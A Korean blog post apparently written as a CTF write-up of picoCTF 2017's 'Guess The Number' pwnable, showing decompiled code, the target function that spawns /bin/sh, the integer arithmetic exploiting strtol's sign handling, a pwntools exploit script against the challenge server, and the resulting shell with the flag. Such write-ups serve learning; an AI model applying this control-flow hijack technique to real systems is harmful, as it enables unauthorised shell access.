제리의 블로그

Guess The Number @ pico2017 본문

CTF/pwnable

Guess The Number @ pico2017

j3rrry 2018. 5. 14. 14:42

특정 번호를 넣는 문제인가보다.

바이너리 를 받고 nc 로 접속해서 문제푸는 pwnable 문제이다.


main 을 보면

int __cdecl main(int argc, const char **argv, const char **envp)
{
  unsigned int v3; // eax@1
  char nptr[4]; // [sp+Ch] [bp-2Ch]@1
  int v6[7]; // [sp+10h] [bp-28h]@2
  int (*v7)(void); // [sp+2Ch] [bp-Ch]@3

  *(_DWORD *)nptr = 0;
  v3 = 0;
  do
  {
    v6[v3] = 0;
    ++v3;
  }
  while ( v3 < 7 );
  setbuf(stdout, 0);
  puts("Welcome to the number guessing game!");
  puts("I'm thinking of a number. Can you guess it?");
  puts("Guess right and you get a shell!");
  printf("Enter your number: ");
  __isoc99_scanf("%32s", nptr);
  v7 = (int (*)(void))strtol(nptr, 0, 10);
  printf("You entered %d. Let's see if it was right...\n", v7);
  v7 = (int (*)(void))((unsigned int)v7 >> 4);
  return v7();
}

main 함수 에필로그 전에 v7() 하는 부분이 우리가 exploit 할 부분이다.

BOF 로 어딘가를 임의 값으로 덮는것은 아니고
바이너리를 분석해보니
strip 되지 않아서
또다른 사용자정의함수가 보였다.


.text:0804852B ; Attributes: bp-based frame
.text:0804852B
.text:0804852B                 public win
.text:0804852B win             proc near
.text:0804852B                 push    ebp
.text:0804852C                 mov     ebp, esp
.text:0804852E                 sub     esp, 8
.text:08048531                 sub     esp, 0Ch
.text:08048534                 push    offset s        ; "Congratulations! Have a shell:"
.text:08048539                 call    _puts
.text:0804853E                 add     esp, 10h
.text:08048541                 sub     esp, 0Ch
.text:08048544                 push    offset command  ; "/bin/sh -i"
.text:08048549                 call    _system
.text:0804854E                 add     esp, 10h
.text:08048551                 leave
.text:08048552                 retn
.text:08048552 win             endp
`No PIE` 라서 가능했다.

    24    v7 = (int (*)(void))((unsigned int)v7 >> 4);
호출하기 전(main:24번째 줄)을 보면
쉬프트 연산을 하기 때문에
0x0804852B 에 << 4 를 한 0x804852B0(2152223408) 을 넣는다.
그런데
v7 이 2147483647(0x7fffffff) 를 넘어가지 못했다.


     1  int __cdecl main(int argc, const char **argv, const char **envp)
...
    21    __isoc99_scanf("%32s", nptr);
    22    v7 = (int (*)(void))strtol(nptr, 0, 10);
    23    printf("You entered %d. Let's see if it was right...\n", v7);
    24    v7 = (int (*)(void))((unsigned int)v7 >> 4);
    25    return v7();
    26  }
strtol() 에 대해 검색해보니
부호를 받는다는 것을 알았다.

그래서 -1을 입력해보니
v7=0xffffffff
이었다.

따라서,
0xffffffff-0x804852B<<4+1 = 2142743888
이고
부호 '-' 만 앞에 넣으면 된다.

from pwn import *

r = remote('shell2017.picoctf.com', 64739)
r.recvuntil(': ')
r.sendline('-'+str(0xffffffff-0x804852B0+1))
r.interactive()

You entered -2142743888. Let's see if it was right...
Congratulations! Have a shell:
/bin/sh: 0: can't access tty; job control turned off
$ $ ls
flag.txt
guess_num
xinetd_wrapper.sh
$ $ cat flag.txt
f9ff07fd1d4c7226fd23d998ea2b4b00
$ $

'CTF > pwnable' 카테고리의 다른 글

TJCTF 2018 Online Banking  (0) 2018.08.16
mm @ dimigo2018  (0) 2018.06.27
init @ dimigo2018  (0) 2018.06.27
Config Console @ pico2017  (0) 2018.05.17
Shells @ pico2017  (0) 2018.05.14
Comments